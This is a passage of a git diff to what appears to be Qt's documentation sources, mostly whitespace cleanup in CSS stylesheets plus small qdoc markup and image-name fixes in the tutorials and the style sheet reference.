.creator .header .icon,
- .creator .feedback,
- .creator .t_button,
.creator .feedback,
- .creator #feedbackBox,
- .creator #feedback,
- .creator #blurpage,
- /*.creator .indexbox .indexIcon span,*/
- .creator .wrapper .hd,
-/* .creator .indexbox .indexIcon,*/
- .creator .header #nav-logo,
- .creator #offlinemenu,
- .creator #offlinesearch,
- .creator .header #nav-topright,
+ .creator .t_button,
+ .creator .feedback,
+ .creator #feedbackBox,
+ .creator #feedback,
+ .creator #blurpage,
+ /* .creator .indexbox .indexIcon span,*/
+ .creator .wrapper .hd,
+ /* .creator .indexbox .indexIcon,*/
+ .creator .header #nav-logo,
+ .creator #offlinemenu,
+ .creator #offlinesearch,
+ .creator .header #nav-topright,
.creator .header #shortCut ,
- .creator .wrapper .hd,
+ .creator .wrapper .hd,
.creator .wrapper .ft,
- .creator .sidebar,
- .creator .wrap .feedback
+ .creator .sidebar,
+ .creator .wrap .feedback
{
- display:none;
+ display:none;
}
-
- body.creator
+
+ body.creator
{
- background: none;
+ background: none;
font: normal 13px/1.2 Verdana;
color: #363534;
- background-color: #FAFAFA;
+ background-color: #FAFAFA;
}
- .wrap .content ol li {
-
- }
+ .wrap .content ol li {
+
+ }
.creator .header, .creator .footer, .creator .wrapper
@@ -1481,19 +1482,18 @@
margin: 0px;
}
- .creator .wrapper
+ .creator .wrapper
{
- position:relative;
- top:5px;
+ position:relative;
+ top:5px;
}
.creator .wrapper .bd
- {
-
- background:#FFFFFF;
- }
+ {
+ background:#FFFFFF;
+ }
- .creator .header, .footer
+ .creator .header, .footer
{
display: block;
clear: both;
@@ -1508,81 +1508,74 @@
.creator .header .qtref span
{
- background:none;
- }
-
+ background:none;
+ }
-
- .creator .footer
+ .creator .footer
{
- border-top:1px solid #E5E5E5;
+ border-top:1px solid #E5E5E5;
height: 50px;
- margin:0px;
- padding:10px;
- }
-
- .creator .footer p
- {
- text-align:justify;
- max-width:900px;
+ margin:0px;
+ padding:10px;
}
-
- .creator .wrap
+
+ .creator .footer p
{
+ text-align:justify;
+ max-width:900px;
+ }
+ .creator .wrap
+ {
padding:0 5px 0 5px;
- margin: 0px;
+ margin: 0px;
}
.creator .wrap .toolbar
{
-
-
- border-bottom:1px solid #E5E5E5;
- /*width:100%;*/
- margin-left:-5px;
- margin-right:-5px;
- }
+ border-bottom:1px solid #E5E5E5;
+ /*width:100%;*/
+ margin-left:-5px;
+ margin-right:-5px;
+ }
.creator .wrap .breadcrumb ul li a
{
/* color: #363534;*/
color: #00732F;
- }
-
+ }
+
.creator .wrap .content
{
padding: 0px;
- word-wrap:break-word;
+ word-wrap:break-word;
}
-
- .creator .wrap .content ol li {
- background:none;
- font: inherit;
+
+ .creator .wrap .content ol li {
+ background:none;
+ font: inherit;
padding-left: 0px;
- }
-
- .creator .wrap .content .descr ol li {
- margin-left: 45px;
+ }
+ .creator .wrap .content .descr ol li {
+ margin-left: 45px;
}
+
.creator .content .alignedsummary
{
margin: 5px;
- width:100%;
- }
- .creator .generic{
- max-width:75%;
- }
- .creator .generic td{
- /*padding:0;*/
- }
+ width:100%;
+ }
+ .creator .generic{
+ max-width:75%;
+ }
+ .creator .generic td{
+ /*padding:0;*/
+ }
.creator .indexboxbar
{
- border-bottom:1px solid #E5E5E5;
+ border-bottom:1px solid #E5E5E5;
margin-bottom: 25px;
- background: none;
+ background: none;
}
-
-
.creator .header
{
@@ -1592,20 +1585,11 @@
background-color: #ffffff;
padding: 10px 0 5px 0;
overflow: visible;
- border-bottom: solid #E5E5E5 1px;
- z-index:1;
-
-
-
-
-
-
-
-
- /* position:fixed;*/
+ border-bottom: solid #E5E5E5 1px;
+ z-index:1;
+ /* position:fixed;*/
}
-
.creator .header .content
{
}
@@ -1621,32 +1605,25 @@
.creator .header .qtref:visited
{
color: #00732F;
- }
+ }
.creator .header .qtref:hover
{
color: #00732F;
- text-decoration:none;
- }
+ text-decoration:none;
+ }
.creator .header .qtref span
{
background-image: none;
text-indent: 0;
- text-decoration:none;
+ text-decoration:none;
}
-
-
-
-
-
.creator .wrap .toolbar
{
display:block;
- padding-top:0px;
+ padding-top:0px;
}
-
-
.creator .wrap .breadcrumb ul li {
font-weight: normal;
}
@@ -1658,80 +1635,78 @@
.creator .wrap .breadcrumb ul li.last a {
/*color: #363534;*/
}
-
- .creator #narrowmenu ul
- {
- border-bottom:solid 1px #E5E5E5;
- border-left:solid 1px #E5E5E5;
- border-right:solid 1px #E5E5E5;
- }
+
+ .creator #narrowmenu ul
+ {
+ border-bottom:solid 1px #E5E5E5;
+ border-left:solid 1px #E5E5E5;
+ border-right:solid 1px #E5E5E5;
+ }
.creator #narrowmenu li ul {
margin-top:-15px;
- }
+ }
+ .creator .toc {
+ margin:10px 20px 10px 10px;
+ }
- .creator .toc {
- margin:10px 20px 10px 10px;
- }
-
- .creator #narrowsearch, .creator #narrowmenu{
- display:none;
- }
+ .creator #narrowsearch, .creator #narrowmenu{
+ display:none;
+ }
/* end of creator spec*/
-
- .item {
- float: left;
- position: relative;
- width: 100%;
- overflow: hidden;
- }
-
-
- .item .primary {
- margin-right: 220px;
- position: relative;
- }
-
- .item hr {
- margin-left: -220px;
- }
-
- .item .secondary {
- float: right;
- width: 200px;
- position: relative;
- }
-
- .item .cols {
- clear: both;
- display: block;
- }
-
- .item .cols .col {
- float: left;
- margin-left: 1.5%;
- }
-
- .item .cols .col.first {
- margin-left: 0;
- }
-
- .item .cols.two .col {
- width: 45%;
- }
-
- .item .box {
- margin: 0 0 10px 0;
- }
-
- .item .box h3 {
- margin: 0 0 10px 0;
- }
-
- .cols.unclear {
- clear:none;
- }
+
+ .item {
+ float: left;
+ position: relative;
+ width: 100%;
+ overflow: hidden;
+ }
+
+ .item .primary {
+ margin-right: 220px;
+ position: relative;
+ }
+
+ .item hr {
+ margin-left: -220px;
+ }
+
+ .item .secondary {
+ float: right;
+ width: 200px;
+ position: relative;
+ }
+
+ .item .cols {
+ clear: both;
+ display: block;
+ }
+
+ .item .cols .col {
+ float: left;
+ margin-left: 1.5%;
+ }
+
+ .item .cols .col.first {
+ margin-left: 0;
+ }
+
+ .item .cols.two .col {
+ width: 45%;
+ }
+
+ .item .box {
+ margin: 0 0 10px 0;
+ }
+
+ .item .box h3 {
+ margin: 0 0 10px 0;
+ }
+
+ .cols.unclear {
+ clear:none;
+ }
}
/* end of screen media */
@@ -1749,8 +1724,7 @@
{
background: none;
display: block;
- width: 100%; margin: 0; float: none;
-
+ width: 100%; margin: 0; float: none;
}
}
/* end of print media */
diff --git a/doc/src/template/style/superfish.css b/doc/src/template/style/superfish.css
index 0cf0f7d..2bdaef4 100644
--- a/doc/src/template/style/superfish.css
+++ b/doc/src/template/style/superfish.css
@@ -1,51 +1,51 @@
.sf-menu, .sf-menu * {
- margin: 0;
- padding: 0;
- list-style: none;
+ margin: 0;
+ padding: 0;
+ list-style: none;
}
.sf-menu {
- line-height: 1.0;
+ line-height: 1.0;
}
.sf-menu ul {
- position: absolute;
- top: -999em;
- width: 10em; /* left offset of submenus need to match (see below) */
+ position: absolute;
+ top: -999em;
+ width: 10em; /* left offset of submenus need to match (see below) */
}
.sf-menu ul li {
- width: 100%;
+ width: 100%;
}
.sf-menu li:hover {
- visibility: inherit; /* fixes IE7 'sticky bug' */
+ visibility: inherit; /* fixes IE7 'sticky bug' */
}
.sf-menu li {
- float: left;
- position: relative;
+ float: left;
+ position: relative;
}
.sf-menu a {
- display: block;
- position: relative;
+ display: block;
+ position: relative;
}
.sf-menu li:hover ul,
.sf-menu li.sfHover ul {
- left: 0;
- top: 2.5em; /* match top ul list item height */
- z-index: 99;
+ left: 0;
+ top: 2.5em; /* match top ul list item height */
+ z-index: 99;
}
ul.sf-menu li:hover li ul,
ul.sf-menu li.sfHover li ul {
- top: -999em;
+ top: -999em;
}
ul.sf-menu li li:hover ul,
ul.sf-menu li li.sfHover ul {
- left: 10em; /* match ul width */
- top: 0;
+ left: 10em; /* match ul width */
+ top: 0;
}
ul.sf-menu li li:hover li ul,
ul.sf-menu li li.sfHover li ul {
- top: -999em;
+ top: -999em;
}
ul.sf-menu li li li:hover ul,
ul.sf-menu li li li.sfHover ul {
- left: 10em; /* match ul width */
- top: 0;
+ left: 10em; /* match ul width */
+ top: 0;
}
diff --git a/doc/src/tutorials/addressbook.qdoc b/doc/src/tutorials/addressbook.qdoc
index cbc918f..ec4a4f3 100644
--- a/doc/src/tutorials/addressbook.qdoc
+++ b/doc/src/tutorials/addressbook.qdoc
@@ -831,7 +831,7 @@
\snippet tutorials/addressbook/part6/addressbook.cpp tooltip 2
Although it is not shown here, just like the other features we implemented,
- we add the push buttons to the layout panel on the right, \c button1Layout,
+ we add the push buttons to the layout panel on the right, \c buttonLayout1,
and we connect the push buttons' \l{QPushButton::clicked()}{clicked()}
signals to their respective slots.
diff --git a/doc/src/tutorials/modelview.qdoc b/doc/src/tutorials/modelview.qdoc
index 88cda72..cae7764 100644
--- a/doc/src/tutorials/modelview.qdoc
+++ b/doc/src/tutorials/modelview.qdoc
@@ -104,7 +104,7 @@
array of the data elements that the user can change. The table widget can be
integrated into a program flow by reading and writing the data elements that
the table widget provides.
-
+
This method is very intuitive and useful in many applications, but displaying
and editing a database table with a standard table widget can be problematic.
Two copies of the data have to be coordinated: one outside the
@@ -156,7 +156,7 @@
\o
\o \l QColumnView shows a tree as a hierarchy of lists
\row
- \o \inlineimage combobox.png
+ \o \inlineimage modelview-combobox.png
\o {2, 1} \l QComboBox can work as both a view class and also
as a traditional widget
\endtable
@@ -348,7 +348,7 @@
\section2 2.4 Setting up Headers for Columns and Rows
Headers can be hidden via a view method: \c{tableView->verticalHeader()->hide();}
- \image header.png
+ \image modelview-header.png
The header content, however, is set via the model, so we reimplement the
\l{QAbstractItemModel::headerData()}{headerData()} method:
diff --git a/doc/src/widgets-and-layouts/stylesheet.qdoc b/doc/src/widgets-and-layouts/stylesheet.qdoc
index 9938a77..be845c4 100644
--- a/doc/src/widgets-and-layouts/stylesheet.qdoc
+++ b/doc/src/widgets-and-layouts/stylesheet.qdoc
@@ -32,6 +32,7 @@
\ingroup frameworks-technologies
\ingroup qt-basic-concepts
+ \ingroup qt-gui-concepts
\previouspage {Styles and Style Aware Widgets}{Styles}
\contentspage Widgets and Layouts
@@ -1995,7 +1996,7 @@
\l{#bottom-prop}{bottom}.
\row
- \o \bold{\c lineedit-password- \BR \c character}* \target lineedit-password-character-prop
+ \o \bold{\c lineedit-password-character*} \target lineedit-password-character-prop
\o \l{#Number}{Number}
\o The QLineEdit password character as a Unicode number.
@@ -2091,8 +2092,7 @@
\row
- \o \bold{\c messagebox-text- \target messagebox-text-interaction-flags-prop
- \BR \c interaction-flags}*
+ \o \bold{\c messagebox-text-interaction-flags*} \target messagebox-text-interaction-flags-prop
\o \l{#Number}{Number}
\o The interaction behavior for text in a message box.
Possible values are based on Qt::TextInteractionFlags.
@@ -2153,7 +2153,7 @@
See also \l{#min-height-prop}{min-height}.
\row
- \o \bold{\c opacity}* \target opacity-prop
+ \o \bold{\c opacity*} \target opacity-prop
\o \l{#Number}{Number}
\o The opacity for a widget. Possible values are from 0
(transparent) to 255 (opaque). For the moment, this is
@@ -2249,7 +2249,7 @@
\l{#bottom-prop}{bottom}.
\row
- \o \bold{\c selection-background-color}* \target selection-background-color-prop
+ \o \bold{\c selection-background-color*} \target selection-background-color-prop
\o \l{#Brush}{Brush} \BR
\o The background of selected text or items.
@@ -2268,7 +2268,7 @@
\l{Qt Style Sheets Reference#background-prop}{background}.
\row
- \o \bold{\c selection-color}* \target selection-color-prop
+ \o \bold{\c selection-color*} \target selection-color-prop
\o \l{#Brush}{Brush} \BR
\o The foreground of selected text or items.
@@ -2288,8 +2288,7 @@
and \l{#color-prop}{color}.
\row
- \o \bold{\c show-decoration- \target show-decoration-selected-prop
- \BR \c selected}*
+ \o \bold{\c show-decoration-selected*} \target show-decoration-selected-prop
\o \l{#Boolean}{Boolean}
\o Controls whether selections in a QListView cover the
entire row or just the extent of the text.
@@ -2304,7 +2303,7 @@
\snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 73
\row
- \o \bold{\c spacing}* \target spacing-prop
+ \o \bold{\c spacing*} \target spacing-prop
\o \l{#Length}{Length}
\o Internal spacing in the widget.
@@ -2322,7 +2321,7 @@
\l{#margin-prop}{margin}.
\row
- \o \bold{\c subcontrol-origin}* \target subcontrol-origin-prop
+ \o \bold{\c subcontrol-origin*} \target subcontrol-origin-prop
\o \l{#Origin}{Origin}
\o The origin rectangle of the \l subcontrol within the
parent element.
@@ -2338,7 +2337,7 @@
\l{Qt Style Sheets Reference#subcontrol-position-prop}{subcontrol-position}.
\row
- \o \bold{\c subcontrol-position}* \target subcontrol-position-prop
+ \o \bold{\c subcontrol-position*} \target subcontrol-position-prop
\o \l{#Alignment}{Alignment}
\o The alignment of the \l subcontrol within the origin
rectangle specified by \l{Qt Style Sheets Reference#subcontrol-origin-prop}
@@ -2706,8 +2705,7 @@
\o Shorthand border property.
\row
- \o \bold{Border \target Border Image
- Image}
+ \o \bold{Border Image} \target Border Image
\o \c none \BR
| \l{Url} \l{Number}\{4\} \BR (\c stretch | \c repeat){0,2}
\o A border image is an image that is composed of nine parts
@@ -2723,8 +2721,7 @@
{CSS3 Draft Specification} for details.
\row
- \o \bold{Border \target Border Style
- Style}
+ \o \bold{Border Style} \target Border Style
\o \c dashed \BR
| \c dot-dash \BR
| \c dot-dot-dash \BR
@@ -2741,8 +2738,7 @@
{CSS3 Draft Specification} for details.
\row
- \o \bold{Box \target Box Colors
- Colors}
+ \o \bold{Box Colors} \target Box Colors
\o \l{#Brush}{Brush}\{1,4\}
\o One to four occurrences of \l{#Brush}{Brush}, specifying the top,
right, bottom, and left edges of a box, respectively. If
@@ -2757,8 +2753,7 @@
\snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 82
\row
- \o \bold{Box \target Box Lengths
- Lengths}
+ \o \bold{Box Lengths} \target Box Lengths
\o \l{#Length}{Length}\{1,4\}
\o One to four occurrences of \l{#Length}{Length}, specifying the
top, right, bottom, and left edges of a box,
@@ -2773,14 +2768,14 @@
\snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 83
\row
- \o \bold Brush \target Brush
+ \o \bold{Brush} \target Brush
\o \l{#Color}{Color} \BR
| \l{Gradient} \BR
| \l{PaletteRole}
\o Specifies a Color or a Gradient or an entry in the Palette.
\row
- \o \bold Color \target Color
+ \o \bold{Color} \target Color
\o \tt{rgb(\e{r}, \e{g}, \e{b})} \BR
| \tt{rgba(\e{r}, \e{g}, \e{b}, \e{a})} \BR
| \tt{hsv(\e{h}, \e{s}, \e{v})} \BR
@@ -2803,27 +2798,24 @@
\l{http://www.w3.org/TR/CSS21/syndata.html#color-units}{here}.
\row
- \o \bold Font \target Font
+ \o \bold{Font} \target Font
\o (\l{#Font Style}{Font Style} | \l{#Font Weight}{Font Weight}){0,2} \l{#Font Size}{Font Size} String
\o Shorthand font property.
\row
- \o \bold{Font \target Font Size
- Size}
+ \o \bold{Font Size} \target Font Size
\o \l{Length}
\o The size of a font.
\row
- \o \bold{Font \target Font Style
- Style}
+ \o \bold{Font Style} \target Font Style
\o \c normal \BR
| \c italic \BR
| \c oblique
\o The style of a font.
\row
- \o \bold{Font \target Font Weight
- Weight}
+ \o \bold{Font Weight} \target Font Weight
\o \c normal \BR
| \c bold \BR
| \c 100 \BR
@@ -2833,7 +2825,7 @@
\o The weight of a font.
\row
- \o \bold Gradient \target Gradient
+ \o \bold{Gradient} \target Gradient
\o \c qlineargradient \BR
| \c qradialgradient \BR
| \c qconicalgradient
@@ -2863,7 +2855,7 @@
\snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 85
\row
- \o \bold Icon \target Icon
+ \o \bold{Icon} \target Icon
\o (\l{#Url}{Url} (\c disabled | \c active | \c normal | \c selected)?
(\c on | \c off)? )*
\o A list of url, QIcon::Mode and QIcon::State.
@@ -2872,7 +2864,7 @@
\snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 86
\row
- \o \bold Length \target Length
+ \o \bold{Length} \target Length
\o \l{#Number}{Number} (\c px | \c pt | \c em | \c ex)?
\o A number followed by a measurement unit. The CSS standard recommends
that user agents must
@@ -2890,13 +2882,13 @@
\endlist
\row
- \o \bold Number \target Number
+ \o \bold{Number} \target Number
\o A decimal integer or a real number
\o Examples: \c 0, \c 18, \c +127, \c -255, \c 12.34, \c -.5,
\c 0009.
\row
- \o \bold Origin \target Origin
+ \o \bold{Origin} \target Origin
\o \c margin \BR
| \c border \BR
| \c padding \BR
@@ -2916,7 +2908,7 @@
See also \l{The Box Model}.
\row
- \o \bold PaletteRole \target PaletteRole
+ \o \bold{PaletteRole} \target PaletteRole
\o \c alternate-base \BR
| \c base \BR
| \c bright-text \BR
@@ -2941,7 +2933,7 @@
\snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 87
\row
- \o \bold Radius \target Radius
+ \o \bold{Radius} \target Radius
\o \l{#Length}{Length}\{1, 2\}
\o One or two occurrences of \l{#Length}{Length}. If only one length is
specified, it is used as the radius of the quarter circle
@@ -2950,7 +2942,7 @@
ellipse, whereas the second length is the vertical radius.
\row
- \o \bold Repeat \target Repeat
+ \o \bold{Repeat} \target Repeat
\o \c repeat-x \BR
| \c repeat-y \BR
| \c repeat \BR
@@ -2965,7 +2957,7 @@
\endlist
\row
- \o \bold Url \target Url
+ \o \bold{Url} \target Url
\o \tt{url(\e{filename})}
\o \tt{\e{filename}} is the name of a file on the local disk
or stored using \l{the Qt Resource System}. Setting an
diff --git a/doc/src/windows-and-dialogs/mainwindow.qdoc b/doc/src/windows-and-dialogs/mainwindow.qdoc
index bf3e3a8..0bf4909 100644
--- a/doc/src/windows-and-dialogs/mainwindow.qdoc
+++ b/doc/src/windows-and-dialogs/mainwindow.qdoc
@@ -37,7 +37,7 @@
\ingroup qt-gui-concepts
A \l{Widgets Tutorial}{widget} that is not embedded in a parent widget is called a window.
- Usually, windows have a frame and a title bar, although it is also possible to create
+ (Usually, windows have a frame and a title bar, although it is also possible to create
windows without such decoration using suitable window flags). In Qt, QMainWindow
and the various subclasses of QDialog are the most common window types.
diff --git a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc
index 478bd64..ad2d702 100644
--- a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc
+++ b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc
@@ -41,9 +41,9 @@
现在您已经编写了一些小型可用的应用程序,并对 Qt 编程有更加广泛的了解。您可以直接着手做自己的项目,但我们建议您阅读以下一些关键简介以加深您对 Qt 的了解:\l{Qt Object Model}Qt 对象模型}和\l{Signals and Slots}{信号和槽}。
- \beginfloatleft
+ \div {float-left}
\inlineimage qtdemo-small.png
- \endfloat
+ \enddiv
\section1 了解概况